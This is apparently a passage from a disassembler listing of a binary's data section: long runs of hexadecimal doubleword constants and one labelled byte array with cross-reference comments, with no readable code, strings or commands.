		dd 8722114h, 6588C5EBh,	0A5F38808h, 99843690h, 433148C3h
		dd 4E40F04h, 96441F2Ah,	0C1D44CDh, 4C137A44h, 0D9512Eh
		dd 0F2F7E9D6h, 1D027ECBh, 33C08707h, 0DB77EC8Fh, 71AA730h
		dd 7E5C0082h, 0B58B3B35h, 6E64FE3h, 0C3000A7Ch,	66707B1Dh
		dd 1B789B4h, 18E63181h,	30F83BB1h, 6F0082FCh, 84CEACD9h
		dd 7F20A1Ch, 0B518A53Ch, 0F90E00B1h, 0CF00DC05h, 0A06D8712h
		dd 0AD659Fh, 80CD06B6h,	0BE3F4F48h, 0F10129E6h,	79E86E73h
		dd 0F8F8C75Fh, 156200F3h, 917702DCh, 0C000FD26h, 0AC601F4Dh
		dd 6F3FD8h, 0EDF0DDA5h,	1429D639h, 4E1E3A00h, 585794F9h
		dd 5C1D00C6h, 85E6B820h, 0C7030344h, 0B7E1EA01h, 0A6BEC00Dh
		dd 0E0A40C2Bh, 1F50F320h, 23815600h, 1987A35Eh,	7F4D00F1h
		dd 9A124CC0h, 0A503BC52h, 5A113292h, 0FA11866Fh, 58F700A9h
		dd 47930246h, 2E007315h, 0E40F4FE5h, 12C896BAh,	0E64465h
		dd 60777C2Ch, 3A0F849Fh, 80B3B50Dh, 5A610343h, 8C1D002Ah
		dd 154EE96Eh, 0C0105D3h, 133A535Dh, 40FEA98Ah, 0ED1ADEh
		dd 3732C1FAh, 714D8D5h,	888D6300h, 4E677E54h, 896B00D4h
		dd 0BE85E774h, 8004C2Ah, 0B0453E93h, 3C86E876h,	1D0092F2h
		dd 6BBBD6F8h, 0EB00DD2Dh, 0E27527A9h, 1C594DECh, 405E65A0h
		dd 69DE91D7h, 6800A598h, 5B94B49Ah, 33CB78h, 9C7FA40Dh
		dd 0FEE8A376h, 3F06D509h, 83508042h, 24C79E01h,	0A8822Dh
		dd 0B7DD24B1h, 3D00E15Bh, 0FC5E8759h, 2EFECBDEh, 1654D1h
		dd 0FF66A234h, 84A08BD5h, 0A71D6C46h, 2A40262Dh, 0A1E7CEBCh
		dd 71E000D9h, 849EB62Bh, 60C08360h, 1B8BA28Eh, 7EE40061h
		dd 54D2FE88h, 38006DCEh, 1D5F8DF8h, 3F1A07h, 9EB5089Ch
		dd 7EFE4712h, 9752701Eh, 0B1FF1380h, 6C6DECh, 1862DF53h
		dd 6FCA3814h, 59F2D4FCh, 3400DAEEh, 6CAF109Fh, 0B75F14C1h
		dd 93B71D0h, 4F3A001Dh,	12F5C42Bh, 8D7005E6h, 7C158Bh
		dd 62D775B8h, 0E7987FE5h, 0FA60E7E2h, 0EE098DD2h, 8ABE0059h
		dd 23921C2Ah, 0AF005EAEh, 0FAAD366Eh, 3E2A152h,	16B82166h
		dd 0AB8853E6h, 68E2B11Ah, 94263802h, 0D4E20Fh, 57610617h
		dd 43A18D00h, 22ABCAC3h, 71D21C5Fh, 0AF4984D3h,	8448906Fh
		dd 0BA00088Fh, 0F23551ACh, 262C7F5Bh, 0B5891Eh,	0D1451052h
		dd 0BE00BCAAh, 0AB65446Dh, 4A0F6E43h, 31148038h, 0E601369Bh
		dd 0A4202C60h, 482013F8h, 0B37C00A0h, 0F6CCF967h, 4509C12Dh
		dd 831A7341h, 0F0B4BC3Fh, 0A52C2Bh, 0FBA4583Ch,	75E37B65h
		dd 6ADB000h, 0DACBECE1h, 2A6EA24h, 3A0997B9h, 10416C0Bh
		dd 0E47CF9E3h, 4902915h, 40ABA022h, 0EE39F19Ah,	0E59500A4h
		dd 0BBF274A1h, 0BCEC0443h, 810DDD56h, 0C4B34C88h, 0D8000735h
		dd 78F48B5Ch, 1D4B85B7h, 0C154C6E8h, 0AA471394h, 20423063h
		dd 31745900h, 1CEAF1B8h, 7C7B0084h, 681ECBA2h, 4C005FDCh
		dd 0A441F8C6h, 0F1182Ah, 3D0E1B94h, 0E81D28E0h,	149F40Eh
		dd 3E446011h, 60C5A7E2h, 39F1D09Eh, 0B009F42h, 8D1ECCBh
		dd 0F6652C1h, 0B8B07628h, 6EE79E00h, 0A4002721h, 0FF80631Dh
		dd 9B2AE2h, 1853FBD3h, 130792D2h, 0D8239C3Eh, 0E82B005Ch
		dd 0A86D5C72h, 0FA190E9Eh, 332010B4h, 827166C8h, 25024F02h
		dd 406BFB8Fh, 7B7B188h,	665A897Fh, 0D888C01Eh, 157FD410h
		dd 0E1B49E00h, 55D60C3Ah, 0BB5700E3h, 0F149FAF2h, 0C273BDA3h
		dd 2B4C1FB8h, 29A11E90h, 184DD781h, 0FC4072E7h,	5D238Bh
		dd 0F75081D6h, 7CC1CF2Bh, 930FDDFEh, 3E75B620h,	3C550380h
		dd 0F7FA2Eh, 7CC9450Ah,	1AED4A97h, 2F006CB8h, 10840809h
		dd 0C03B3869h, 70651F90h, 93001B7Ah, 0DD321964h, 1A444E0h
		dd 73FF1CA2h, 3B70FBBEh, 0BDADE0h, 74D73F28h, 0A0D010A8h
		dd 0EB70A679h, 55582D07h, 2B40BA52h, 8F7E6h, 192F959Fh
		dd 0E4A25311h, 0A9C3BB00h, 2A1D4E3Eh, 2B28009Eh, 0D552ADF1h
		dd 2E011A91h, 5536A86h,	8EF0D37Fh, 0F3672CA4h, 6117D00h
		dd 8CF9AEC0h, 0E0A0218Eh, 1B009F52h, 64FB5C6Bh,	0AE6222h
		dd 0CF0CC6D5h, 3BC9837Ah, 6D7F1A00h, 3103D0B1h,	6AAF0062h
		dd 247AD6E4h, 0FD181EDAh, 98C0BDDEh, 0C0B75D5Eh, 0CBFB5500h
		dd 6DDDE6CFh, 273DA600h, 7B91F39Bh, 75E50090h, 5B5FD5B6h
		dd 763B7EEAh, 0F3AF8045h, 0A92CED26h, 40620072h, 951AA5A8h
		dd 0C502A403h, 547327A6h, 0C887E0D4h, 7150046h,	0F12AAF4Fh
		dd 3F0265D3h, 9D3B2793h, 5E7D608Dh, 2F0001Ch, 3243D822h
		dd 3E009ED1h, 85B970Ah,	7C65B4E8h, 3200047h, 8DFB065Dh
		dd 0DB0091CAh, 3D763189h, 42DCECh, 5A394177h, 883F629Dh
		dd 76F67127h, 32603CFCh, 0A3E6C29Ch, 99C6F900h,	0A9EBAECh
		dd 4143DFFh, 573FB800h,	610C6662h, 2800B1FEh, 2A6D3EEFh
		dd 182081B9h, 0E22E0729h, 7E03B4A2h, 0E65BDF8Ah, 22CBF164h
		dd 2FE22080h, 7AF4CDABh, 32B55400h, 501C8544h, 0F7C20358h
		dd 7E05819Bh, 22286A80h, 0DBAF2100h, 0A8F19685h, 0BF3B0087h
		dd 1B71E6Bh, 143DEF36h,	9900F847h, 0EB7EECCEh, 773C693h
		dd 7CFB11ADh, 0F3B160D8h, 0DA006E32h, 4019B803h, 77121Ch
		dd 0F5B23FA6h, 5179F54h, 576E3B04h, 0FC800491h,	99A683h
		dd 0D002C276h, 0E24CF179h, 80C0D339h, 55F58EBEh, 1CA1C92Fh
		dd 80D67BCAh, 0A03C8B65h, 74003A9Eh, 0DD334B91h, 0CE3DDEh
		dd 0D4E143C4h, 2839970Bh, 0FAE9E800h, 91F4A666h, 65E40006h
		dd 0C1CD5B93h, 49729C47h, 501FD514h, 61C600ACh,	0F65EAAFBh
		dd 1C5C00CFh, 947BF4Ah,	0EC00F151h, 0F0CB9094h,	0F8E68B2Dh
		dd 0BD330025h, 0F48397F7h, 9501FC0Fh, 0CEEB84A4h, 5E619119h
		dd 0AC9481D2h, 9F71FE0Eh, 0CD82D010h, 6C100BBh,	0B2E8A778h
		dd 0E3006432h, 0F4DEE488h, 0B3B42Ch, 0B1724138h, 0ED3B25F2h
		dd 137B9E7Ah, 4A424300h, 0D71A89E6h, 0A62007Ah,	0E1049640h
		dd 0E801D3A3h, 367C3821h, 0C0C77BF6h, 295459h, 66CCB974h
		dd 91403BD6h, 0C247F900h, 204EF141h, 0E3360069h, 0F84D7E1Eh
		dd 251DDDCCh, 956CC2CAh, 3179DB00h, 0FC8EB014h,	0C8BD1FFEh
		dd 0DCF29F11h, 0D6C914D4h, 0AD7C1600h, 7448C107h, 0BD46230Eh
		dd 0FAE5C301h, 1382F847h, 0E69000B4h, 0F8E44F2Ch, 420040E9h
		dd 836E2F2Eh, 95DEFE1h,	57CFAB2Bh, 2120D802h, 4A628C90h
		dd 59D17000h, 0F9CA13BDh, 0B5FC00BCh, 6C9BE089h, 0BB00D6A4h
		dd 7E601E3Fh, 0FE48A72h, 0DE167899h, 0EC692E0h,	0F2606627h
		dd 8226D0F0h, 68FF1F25h, 596D4084h, 6C47B4F3h, 58F66A00h
		dd 0F17A7BA8h, 0C6400193h, 947977B5h, 0FF68D9A7h, 3804BDC0h
		dd 0AC0967F6h, 0D15218h, 4BE23FECh, 0E0EA0089h,	753BF3F4h
		dd 3A3E515Ah, 0F06A1F56h, 7F700940h, 6CDE08Ah, 0ECC5B11Dh
		dd 7900B083h, 56AB5CC3h, 2F5C991h, 8B94B4B8h, 54E1A173h
		dd 4F202052h, 0E883E124h, 0E5FEC083h, 18C094E8h, 0C0B7AACh
		dd 0D1A9A8EDh, 0DD01765Ah, 37C06B32h, 9CDC97FFh, 3978B9h
		dd 0F37C4E73h, 0C89A0D27h, 0AA757B0Ch, 2D6026h,	1C6B852Eh
		dd 6596CDF8h, 1B4A1900h, 785E5C32h, 844E4DCAh, 492C7300h
		dd 0E2D11AA8h, 86984C00h
		dd 2EDCE402h, 0AA770310h, 461BA58h, 0BD81B390h,	34A84E07h
		dd 925006BFh, 3ED7C9h, 0B944718Ah, 7DD620FEh, 0E0CBE11Ch
		dd 7E0F8953h, 61C0FD4Ch, 58E9D9D8h, 0FC76744Eh,	0CB8C03A8h
		dd 0B412A473h, 0F02BC8D1h, 0EC3BDFFCh, 0B2B50030h, 0F5C462FFh
		dd 0A972002Fh, 361E6DBAh, 0EE00268Fh, 0D942F05Fh, 48C31B58h
		dd 0ED3C3804h, 0CF7B611Dh, 0B420F3D1h, 1F3F448Ah, 717EF100h
		dd 4B8FC4F7h, 7577F414h, 4EA50199h, 5917E26Fh, 967CF022h
		dd 6B28F70Fh, 9EC6C247h, 0AC844043h, 489500B4h,	0E4588D41h
		dd 530051B2h, 37F906C3h, 3A94E7Ch, 0C6685935h, 1BA0E1DFh
		dd 0CAE28CE2h, 90223D03h, 0D4B9BAC4h, 7E7A14C8h, 97370FDDh
		dd 22E53CEFh, 6880066h,	483F0A18h, 1C4748h, 0CF97B629h
		dd 0F001BCA5h, 0FA92095Dh, 7C826915h, 0E440CB9Eh, 933E14ECh
		dd 0A1578130h, 5A96F00Fh, 0C7206E61h, 0C8450061h, 0C9D13BBBh
		dd 7907429Ah, 0FE72832Ah, 1D7BA3F0h, 4FC8022Ch,	3DD98F68h
		dd 9E7F4840h, 942A2400h, 86076EA2h, 0CA9839h, 5678E0A6h
		dd 1E24D23h, 4AEC8109h,	3FB0004Bh, 3A1342h, 180FA6FFh
		dd 48E30658h, 5105E800h, 0E5BAF676h, 0F06107DFh, 40085FE9h
		dd 1141C4A1h, 10810E00h, 0D5B42446h, 0A92004Ah,	0AB8C3A60h
		dd 9D00A177h, 5D7F48FEh, 387C2555h, 880056B0h, 59A584AFh
		dd 0A3772024h, 0D60EF0Eh, 72D662F4h, 5603FF08h,	38B8E7C7h
		dd 7E007DEDh, 0BD035796h, 0BB17B0h, 0AE21BCCAh,	0CFB50A2Eh
		dd 1E084600h, 0F7A42F77h, 0DE8F000Dh, 86E9AD51h, 6E0F31BEh
		dd 7DC124AFh, 71E2FDC0h, 9EAA016h, 233A69C0h, 0C5EDF400h
		dd 0F900F4D9h, 0CE27F2C3h, 0C179F5h, 3071E305h,	0BCA79F11h
		dd 0C9335500h, 63DA09C2h, 0B4180F31h, 9E81063Dh, 0D4A6D0AAh
		dd 8D128779h, 1F00C6DEh, 0CC193394h, 0BF631ED7h, 8970C0FFh
		dd 0C848A72Dh, 0B40008FAh, 2E82D4CDh, 0D19F87h,	3958E7F7h
		dd 0ECC3E850h, 8C486D00h, 16E52338h, 0CAA0001h,	0F4944A4Dh
		dd 5000739Fh, 9CDE899Dh, 0CA17DFh, 2C3C6ADAh, 2E4365B9h
		dd 840DED00h, 3E7ED67Fh, 5D93074Ah, 33954BECh, 0FF0429Bh
		dd 0C207F4D5h, 0C877893Bh, 0EF6FE410h, 0CE1901E5h, 2107628Ah
		dd 5547D45Dh, 1458B500h, 0A12417C2h, 0FB010FBAh, 6D011094h
		dd 0E4F5C56Fh, 0E600B6C6h, 425B34E8h, 0EC4A3988h, 0C2B400FEh
		dd 0C719E9B2h, 0F009F82h, 5178F53Bh, 0EB4D07h, 6427239Ah
		dd 0D03AE206h, 0FD24CD00h, 0E85F29EDh, 113700AAh, 0DA62544h
		dd 0D2267F1Bh, 6290A4EEh, 747EA100h, 9720E549h,	433E4600h
		dd 63605476h, 1E610098h, 7AD639FEh, 1900AFF8h, 6D501751h
		dd 0A72CE30h, 61EDAE11h, 0DADA2FB8h, 0F481A500h, 43B823BFh
		dd 93A02CB4h, 3C29836Ch, 8103073Eh, 48536465h, 42083A86h
		dd 923B6E06h, 0A1002106h, 36D9F317h, 4D48B75h, 808FB2EEh
		dd 6181EE5h, 18A47710h,	20DDF157h, 20A0903Ch, 0F200FB34h
		dd 0F1D5A172h, 7C0E73B6h, 7C8B0C05h, 9258E953h,	6B001F73h
		dd 0A70B2B96h, 7C15237h, 242EBDC4h, 9E4473C2h, 3AC14063h
		dd 0DDA3CB58h, 6966C61h, 0AB4BDC1Dh, 0DF206D00h, 8DCB7F80h
		dd 0B85B00FAh, 0E5F8B0AAh, 5200C829h, 7BDF8643h, 74C00832h
		dd 0F7B10056h, 0F8CA7953h, 16006004h, 0EE0B88E4h, 0A98D19h
		dd 34C4A420h, 7F679997h, 805DB63Ch, 6304F62Ch, 6CA008h
		dd 0E9799461h, 0C9A32159h, 0FA841607h, 5FC0C2A7h, 55CB87h
		dd 45F5AA32h, 66A3EE7Ch, 0CD60A026h, 0F72A0Fh, 0D2FADB22h
		dd 0B6DA0F92h, 0F0855C30h, 120F87C3h, 0EDC0F201h, 4E00BFD5h
		dd 98945D9Ch, 1F3646Ah,	0C03CBB53h, 406BF671h, 0AC413190h
		dd 10A1AB41h, 0E4717C04h, 71020C92h, 0B310F31Bh, 50F5h
		dd 11FC91CAh, 68BCA677h, 0A5EC6CB0h, 2F6C2700h,	0EC3BAE16h
		dd 0ACA11F6Bh, 565200A3h, 9328BA5Ch, 269A223Fh,	68004CCBh
		dd 0B1B3F0A4h, 51865CD4h, 193B8904h, 98ACB443h,	0E5F350Fh
		dd 2A6EC0B0h, 0C3273A6h, 0AB2547CCh, 83261F42h,	0B80172BDh
		dd 775B7589h, 0B8C1DEF8h, 273307D0h, 30DA80EBh,	5330FFBAh
		dd 0CC178C3Eh, 0D30B0010h, 0F3BF2526h, 0E49800DDh, 3FF136D2h
		dd 5400370Eh, 9E27995Fh, 70EF72h, 0C46BFACh, 0DDD1F05Eh
		dd 2FD6F00h, 76ECC787h,	0AC2302DAh, 8CC00132h, 5D611160h
		dd 0B03FA63Dh, 0D0DF2803h, 76202EBAh, 0B067099Dh, 26ADBF80h
		dd 0E002AB51h, 0AA59A9E7h, 81B68089h, 95EF6ED9h, 5DE1C8C0h
		dd 0EC00E0B2h, 8D2F99Ah, 2AFC16Ah, 17F25927h, 51C0C0E0h
		dd 0D659CC87h, 48D03F0h, 910ABD56h, 3AF8D297h, 4CF83D2Fh
		dd 8DDAA89h, 0ED3EB020h, 213112AEh, 36EF4EEAh, 0F483F4h
		dd 93E52A1Dh, 0AC8FC0BAh, 0B04C805h, 0F881F89Fh, 2FE8C5FAh
		dd 4894B7h, 0C8D2DE2h, 0C017B9CCh, 90065E5Bh, 1F9EA7D4h
		dd 0CD4C55h, 0EC2FC893h, 15006B6Eh, 7433A24Bh, 0C01A7173h
		dd 52407849h, 0A0BA5653h, 596B1002h, 702206BDh,	0C8C900A8h
		dd 98BAF123h, 32009060h, 922AFAD3h, 0B167BBh, 0D2EB80D0h
		dd 0F1C8CB44h, 640D7D00h, 5E1F7ECEh, 9CAC0124h,	0A9CDB5F6h
		dd 0DB38F83Fh, 0CEA31907h, 0D722F9B8h, 0FDB44872h, 0FEECBh
		dd 218EC52h, 0F4543ABCh, 852BA700h, 419EF816h, 748E0473h
		dd 0B077B5CBh, 791E2EF4h, 23009DC7h, 8B83FF4Eh,	86AD0046h
		dd 922C54Dh, 0A600A5A1h, 6C435AAEh, 393A42h, 925C379Bh
		dd 51DC2731h, 305DE070h, 40560010h, 49F11862h, 2F83173h
		dd 0FCD54668h, 0C005B87h, 0EEF0CF98h, 152DF9Fh,	58DE3A6Ch
		dd 0E0FFC5F2h, 0A7E2D9EDh, 8077F139h, 0AA284516h, 90FC9718h
		dd 0D3BC0150h, 14E4A8Dh, 6D2470ABh, 0D8612E00h,	730309C4h
		dd 79BBB82Fh, 0F5010087h, 5D0EF0CBh, 990519CFh,	56F7BDBAh
		dd 0DE18D040h, 43FE211h, 2CB8F8F5h, 1A2CD2BCh, 0D1605040h
		dd 4174D0A8h, 61558C00h, 3F626FA0h, 9C520081h, 0EE1DB3C4h
		dd 0CA009594h, 8912FDF5h, 221ED4h, 0C4E03BBBh, 78D72BC1h
		dd 5505BC05h, 0E6008FDBh, 0B8C2933Ah, 0E263075Dh, 0C30290ADh
		dd 0DFB15A6Eh, 36C0FCACh, 4A73DE00h, 35A917CEh,	91EECBh
		dd 474DDD84h, 24DFE76Eh, 775139h, 1018FFACh, 87681Ch, 42D8CEEFh
		dd 0DC1231Dh, 697948h, 372925D3h, 21983Dh, 88D70752h, 682EFD33h
		dd 48E76700h, 3E01BC6Bh, 28EA44h, 4020305Ch, 0C5DEED41h
		dd 13B7901Eh, 90018B17h, 4BE48A54h, 264D8FCh, 0B25349C8h
		dd 0FC60C7D9h, 7120ACDEh, 0D4D01C6Ch, 0B0A240E8h, 9983EA0Eh
		dd 0E0C3A507h, 0BEE07E5Fh, 79CDFD25h, 6C211689h, 0CC94033Dh
		dd 0F480FE36h, 0A002297h, 2BA439B0h, 0BA6C1Dh, 831E32FDh
		dd 78983612h, 0F137895h, 91ACCD9Fh, 3BF13DA3h, 0D2068EC8h
		dd 5C365B24h, 6E874500h, 4C98774Fh, 0BB176862h,	672C0057h
		dd 3E61C144h, 484A9500h, 1132BCF6h, 93F20553h, 90A164ACh
		dd 6EE2D83Ch, 0F6DF1E1Fh, 0E3E6866h, 0C1A37D78h, 5E21A23Dh
		dd 1430C9C5h, 0DB8A3D6Ch, 0E299698Ch, 3C98D410h, 0EE2D6F00h
		dd 8E540ED3h, 7803013Dh, 1A336827h, 44DB20E3h, 9A040200h
		dd 5448D9DCh, 629F0710h, 108086ECh, 7855F1CBh, 67DF7604h
		dd 0E4F19934h, 9A00A507h, 48AB40CBh, 967B6F7Eh,	0B75E40D0h
		dd 0DB7B37CDh, 5BF7C502h, 80809368h, 5881BFC0h,	0AF7074h
		dd 65FBB62Fh, 0C8F12015h, 0A2D93D00h, 0ACA6D46Eh, 86F61D41h
		dd 0CE007844h, 675FDF8Bh, 301A95Bh, 0A6E870AFh,	8960FB31h
		dd 0D9DD0F76h, 23A011D1h, 73CDC84Fh, 378B3B1Eh,	78A3E100h
		dd 0F9E9B6h, 0FCC17A08h, 0DB77552Fh, 22EE8500h,	753109EDh
		dd 50A20030h, 0DE0DD21Dh, 99000A04h, 0BA85F5B1h, 792B53Fh
		dd 79D1B45h, 68DC7014h,	70009783h, 0FBB34E91h, 7F6CFA19h
		dd 67F7006Fh, 7EE7A2E3h, 23008526h, 0D7B5F43Dh,	0F88C31h
		dd 0B99F720Dh, 17E8CFDFh, 0A1270603h, 90AFB887h, 1F924Fh
		dd 0D60AE389h, 5393E9C1h, 0CA802BFFh, 1C8C60E6h, 40664157h
		dd 81C81CD0h, 2A009CB8h, 0F70B08A9h, 6F3B0h, 86CDF591h
		dd 9CEC0A21h, 6B058100h, 4B4975ABh, 0DE560087h,	45EB97B0h
		dd 0B6009372h, 7DC1F920h, 766CADE4h, 4CD4004Eh,	8E6EA92Eh
		dd 93E89FB9h, 0AC81AB01h, 8E2BC62h, 17AD30h, 5F9AD968h
		dd 0F34CBFE3h, 0ACC2F800h, 58FF9360h, 1154008Dh, 88727334h
		dd 5C00101Dh, 513F7664h, 9278C446h, 0D0DB007Ch,	4B1ACCEBh
		dd 5F511F8Eh, 0E797C0EEh, 0CF9794Ch, 68F3CBC0h,	0FE93002Bh
		dd 36B10854h, 6B136A99h, 1E00C457h, 277CA7FAh, 58E635h
		dd 0B8651239h, 92730D02h, 328FB01h, 0F31D9E6Ch,	4426B428h
		dd 11033B51h, 6D2A4EEh,	0D9A89000h, 52C4655Ch, 0DCAB1748h
		dd 4E400173h, 43A37023h, 8880E520h, 59015FBAh, 3F5731C9h
		dd 0D0DB6FF4h, 0D9546Ah, 5D69BDB4h, 634F7DDEh, 33CEA501h
		dd 8157231h, 5B4A90FBh,	32B303E2h, 0B6EF70DFh, 598F6EC0h
		dd 814D8503h, 0CA2F6Dh,	0ABE29620h, 395A47B7h, 713C3376h
		dd 0CE1B013Ch, 0B5BA8206h, 0F158DCC0h, 7364318Eh, 0EFD0D980h
		dd 0A71F7C59h, 4D004066h, 0DE760646h, 953300ECh, 57DDBD8Eh
		dd 0C500E6D7h, 7A92229Eh, 1A2B9Fh, 41453D87h, 218DCABFh
		dd 0D8936207h, 0B1007B46h, 1E1357Dh, 0E92AD4F8h, 0C15620B5h
		dd 0E08EF081h, 53DDD200h, 1F992DA2h, 0B574001Eh, 0C9AE65C7h
		dd 6D607F51h, 0A4DC85A9h, 0EC3575F7h, 0A540001Fh, 36DBC2CAh
		dd 23F7FBEh, 0BC129B08h, 51CC330h, 3CF59F39h, 0EEEB80BEh
		dd 630030C1h, 0A1114943h, 78D6266h, 0E5963E7Dh,	0F7F971B3h
		dd 0BEC0F371h, 46006412h, 7CBC9AA9h, 7B103Fh, 218E3C8Dh
		dd 0D508531Eh, 0A2013E0Ch, 3F4D3852h, 1C0064BDh, 5BB59831h
		dd 0F19F61Dh, 410CA2D7h, 0BCA35180h, 6E20C966h,	0D73860Ch
		dd 0E508131h, 0FF5B3514h, 55389081h, 0AEE2EC87h, 32209460h
		dd 3CB24F92h, 18743B81h, 0E975DB22h, 3D60F42Ah,	86F19248h
		dd 0D62500BCh, 0BE53FFA3h, 0AFE44C2Dh, 5D46A0Ch, 0FBD2833h
		dd 1846EBDEh, 0BC60280Fh, 8B5168A9h, 7500C8E6h,	16713C19h
		dd 0EE63DF7h, 0A6DADF1Fh, 0C3E27920h, 0FA667E73h, 2621EB08h
		dd 7BDE338h, 87E4AAF7h,	709AC7FFh, 0D7FD2892h, 710006F4h
		dd 6C44C826h, 2DF251h, 0B8A475CEh, 47D6D558h, 0FD3EE300h
		dd 541E083Dh, 49E66156h, 0DCA23CC6h, 0DA129A6Ch, 5A1D6439h
		dd 8F21FB1Bh, 0E274A3F3h, 0C2A7606Fh, 2D2B02CAh, 1F9E4ACFh
		dd 51D83487h, 8CE747D7h, 8778E39h, 0BD0600E6h, 59B736F0h
		dd 0D7063BC5h, 75A8A0F1h, 1A390630h, 0C8FE254Ah, 28643618h
		dd 0E868B039h, 3297EB3h, 6A1CFC15h, 28393365h, 0B09138D3h
		dd 381D7132h, 0B529005Eh, 0BCFAD273h, 21E8D523h, 71FBE9C0h
		dd 75E4E5Fh, 0B04414D6h, 34E920F8h, 0E3659093h,	0CC008260h
		dd 381A63D5h, 707503CFh, 0A9848E7Eh, 6A479688h,	0B3F68707h
		dd 0EEA0FBF1h, 284BB7D8h, 0EF7A3Fh, 0C37701ACh,	0E1446A84h
		dd 5648BA00h, 94DBD99Ch, 0FE88002Fh, 5BF3471Ah,	0BD009219h
		dd 2A54EE40h, 0D093394Bh, 52F80410h, 5F0E4C14h,	91CC01D8h
		db 15h
byte_520045	db 58h,	49h, 37h	; DATA XREF: ___:004385B0o
					; ___:004385C8o
		dd 47F9B60h, 85683EC3h,	38080BEh, 0FB0CBC4Dh, 28166D09h
		dd 0CB9144DBh, 44F86A44h, 67444E02h, 0AC2284FFh, 11EC42B6h
		dd 0E3214315h, 98B0CF08h, 589C79D0h, 9439C603h,	0D80CB36Eh
		dd 0DE6449h, 25559030h,	68F762AAh, 9A0041F4h, 6643FCDFh
		dd 3EDBA52Eh, 4A006C2Dh, 26ED44E4h, 7800EC69h, 0C8DAFF6Bh
		dd 0C5F266h, 91AD0AB3h,	0AF9648D5h, 8900C270h, 0D721B53Ah
		dd 1E6C68A5h, 0CE236379h, 4A802ADCh, 8EF4EE99h,	92558500h
		dd 86117AEh, 0C5413E65h, 0F6CFF500h, 8E11F8BFh,	0EC92D40Ch
		dd 0E858A0h, 9E52EA47h,	70EFBE58h, 7A77087Ah, 2DCCFF54h
		dd 8A214E00h, 5D6FABA0h, 0EC053C88h, 344066B0h,	6798D8CCh
		dd 2A55EA00h, 0B68B4D13h, 0BCF60080h, 0DAF41B14h, 0A00F2C9h
		dd 21CBF343h, 0EA5C7Dh,	0E2C8FB8Ch, 2BDD56B5h, 41FD0100h
		dd 0F83DB171h, 198B2463h, 9EA8010h, 0E8AF01C5h,	0C6F3C400h
		dd 858CBF74h, 0ADC203B2h, 0A146BD1Ah, 0CE2F40B0h, 0E44630Eh
		dd 6C80FDCCh, 1B05C5E9h, 0CF4F028Eh, 0F5C23CA2h, 0C000A763h
		dd 2C66DB0h, 165034h, 764DBBE5h, 0D3D26FCFh, 71CDAB24h
		dd 1555E700h, 1475C37h,	80C78B61h, 4074C16Ch, 0CDBECC97h
		dd 12A1BA0Eh, 0F513C0F6h, 60703BD5h, 7EC82053h,	0F8006DB4h
		dd 0CF3DD9BCh, 0FFEBFACh, 5367F16Eh, 0A728C680h, 2F00C287h
		dd 3C900E2Bh, 900C606Dh, 0C1A40088h, 0D61C71FEh, 0CB00454Ah
		dd 0BB141DEFh, 5CC3F6h,	3F673BB3h, 0D38A0C41h, 36D8DA00h
		dd 7BB4EF06h, 0A1F837h,	63C56E55h, 1E93E952h, 0A8B12F00h
		dd 23162AA2h, 680D03A7h, 0BC44A9F5h, 184E7CB0h,	8C1BEA00h
		dd 0AE75E16Ch, 577B41h,	46837634h, 3CA0F044h, 4B511E02h
		dd 40CB30A4h, 918EA0h, 2CB4EACAh, 26B67E69h, 0FE004E76h
		dd 0B2D1E209h, 7778A8ACh, 1D651861h, 7CB810BDh,	6D908200h
		dd 4FC25167h, 308B07F0h, 0E0D39310h, 849D3876h,	790048FCh
		dd 951FB44Bh, 341E8ACh,	0DEB35FBDh, 72C9A3B1h, 6A06D477h
		dd 21B7AF02h, 8949D2h, 0F4344355h, 57582A00h, 0EE1FC962h
		dd 0B8E5006Bh, 820FE63Bh, 0ED003D13h, 84795925h, 7CF3B121h
		dd 3875059Fh, 0C7D8DE44h, 5223B07Ah, 850FD931h,	40EA9ACDh
		dd 0E7E4746Ch, 0CFD007Ah, 67B84AB1h, 53007E01h,	11F7BC81h
		dd 1BEEF5h, 1FC8C379h, 2C2883A1h, 7BDD5B03h, 888CFB18h
		dd 5F2AEh, 0D2C736B9h, 0B34347F1h, 0F9E1C300h, 0BFC106E3h
		dd 0D0DF0E97h, 65C09BC4h, 579E2B5Fh, 3F2E4503h,	0E16D7h
		dd 0FE32E021h, 0CEC8B97Dh, 8672BE00h, 7C64873Bh, 58750037h
		dd 34319316h, 691F890Ah, 9A80639Bh, 4D95ED84h, 0ACAB003Bh
		dd 1AA07F82h, 0ECEAEBB9h, 53805100h, 0C5EE8444h, 0F78F81Bh
		dd 60ED0E95h, 0F5559B20h, 0CA0175FDh, 338DBF21h, 9860A232h
		dd 0D6C4A0B2h, 73CC280Dh, 0D38B00D0h, 0BF2FA319h, 0B81B86C4h
		dd 0A829CA51h, 0E05638C7h, 58620037h, 7C55362Fh, 6500EBF2h
		dd 0C0114A45h, 902905FDh, 64E90010h, 0D33EA93Ah, 0D0035B33h
		dd 1EE14E6Fh, 27BB987Ch, 0A5A4015Fh, 3ECD456Eh,	2F06E8E0h
		dd 0D6C078DFh, 4F646B2Eh, 51F0187h, 8D01136Ah, 0FEA09FC7h
		dd 5CACA480h, 3C731799h, 0A81E1BBDh, 8D38002Ah,	0E495DCA7h
		dd 0EFCCAF00h, 425086ECh, 0DDBB00ACh, 412C40ADh, 150003D9h
		dd 741979CAh, 3D26420h,	31C72E50h, 8800A667h, 91925B1Eh
		dd 0A04C0981h, 905052FCh, 0E8C800A8h, 6E123B65h, 8B003129h
		dd 41FF3674h, 4E8961h, 3A40B68h, 0D3425C72h, 0E6ED1800h
		dd 0C98FA978h, 0A8589FC6h, 84373Dh, 0DC3B0151h,	0CBED6F4h
		dd 6E099EFDh, 7505B7D0h, 3DD4211Dh, 9FF07787h, 1D1FEAF2h
		dd 53A50E1Ah, 90910063h, 4E936AD9h, 0D4446C00h,	80D5170h
		dd 839501DBh, 54F8EECAh, 0A1E97045h, 2368C862h,	8838405Ch
		dd 3C3A007Ch, 0B251F20Bh, 9B0096B4h, 14E90F5h, 4CE8703Eh
		dd 0B710CBAh, 8128CD7h,	5A07AF00h, 0A63A0BEAh, 68498045h
		dd 921B6AA3h, 4F99C2D2h, 4402A0Ch, 17005CFAh, 0DEEC98F9h
		dd 19C2D47Ah, 0FC575F88h, 0F02F39h, 3819004Ch, 0E10A0C34h
		dd 0F700A8DDh, 83C0ED92h, 4E953Dh, 0A5389141h, 3238D19h
		dd 5B3BF00h, 0F9C061B6h, 0FC520CCAh, 0DD85E51h,	0ED04FB00h
		dd 58DF3F45h, 0CB480E77h, 21E7A949h, 0FAC2A001h, 8F0015FCh
		dd 24AD4BD4h, 0E339C9h,	145422BDh, 0C067571Ch, 2FCA5502h
